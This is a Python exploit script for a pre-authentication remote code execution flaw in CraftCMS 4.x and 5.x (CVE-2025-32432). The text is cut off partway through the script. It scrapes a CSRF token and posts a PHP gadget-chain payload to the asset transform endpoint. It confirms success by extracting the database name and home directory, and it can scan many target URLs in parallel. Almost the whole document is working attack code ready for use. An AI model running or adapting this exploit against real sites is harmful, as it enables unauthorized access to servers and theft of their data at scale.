#!/usr/bin/env python3 """ CraftCMS CVE-2025-32432 Remote Code Execution Exploit By Chirag Artani This script automates the exploitation of the pre-auth RCE vulnerability in CraftCMS 4.x and 5.x. It extracts CSRF tokens and attempts RCE via the asset transform generation endpoint. The script extracts both CRAFT_DB_DATABASE and HOME directory values to verify successful exploitation. Usage: Single target: python3 craftcms_rce.py -u example.com Multiple targets: python3 craftcms_rce.py -f urls.txt -t 10 """ import argparse import concurrent.futures import re import requests import urllib3 import sys from bs4 import BeautifulSoup from urllib.parse import urlparse # Disable SSL warnings urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) class CraftCMSExploit: def __init__(self, url): """Initialize the exploit with the target URL.""" self.url = url if url.endswith('/') else url + '/' self.session = requests.Session() self.session.verify = False self.session.timeout = 15 self.session.headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36' } def normalize_url(self, url): """Ensure URL has a scheme.""" if not url.startswith('http'): url = 'http://' + url return url def extract_csrf_token(self): """Get the CSRF token from the dashboard page.""" try: dashboard_url = self.url + "index.php?p=admin/dashboard" response = self.session.get(dashboard_url, timeout=10) if response.status_code == 200: # Parse the HTML response soup = BeautifulSoup(response.text, 'html.parser') csrf_input = soup.find('input', {'name': 'CRAFT_CSRF_TOKEN'}) if csrf_input and csrf_input.get('value'): csrf_token = csrf_input.get('value') return csrf_token else: # Try regex as fallback match = re.search(r'name="CRAFT_CSRF_TOKEN"\s+value="([^"]+)"', response.text) if match: return match.group(1) return None except Exception as e: print(f"Error extracting CSRF token from {self.url}: {str(e)}") return None def exploit(self): """Attempt to exploit the vulnerability and return results.""" result = { 'url': self.url, 'vulnerable': False, 'db_name': None, 'home_dir': None, 'error': None } try: # Extract CSRF token csrf_token = self.extract_csrf_token() if not csrf_token: result['error'] = "Failed to extract CSRF token" return result # Prepare exploit request exploit_url = self.url + "index.php?p=admin/actions/assets/generate-transform" headers = { 'Content-Type': 'application/json', 'X-CSRF-Token': csrf_token } payload = { "assetId": 11, "handle": { "width": 123, "height": 123, "as session": { "class": "craft\\behaviors\\FieldLayoutBehavior", "__class": "GuzzleHttp\\Psr7\\FnStream", "__construct()": [[]], "_fn_close": "phpinfo" } } } response = self.session.post(exploit_url, json=payload, headers=headers, timeout=15) # Check if the exploit succeeded if 'PHP Version' in response.text and 'PHP License' in response.text: result['vulnerable'] = True # Extract CRAFT_DB_DATABASE value db_match = re.search(r'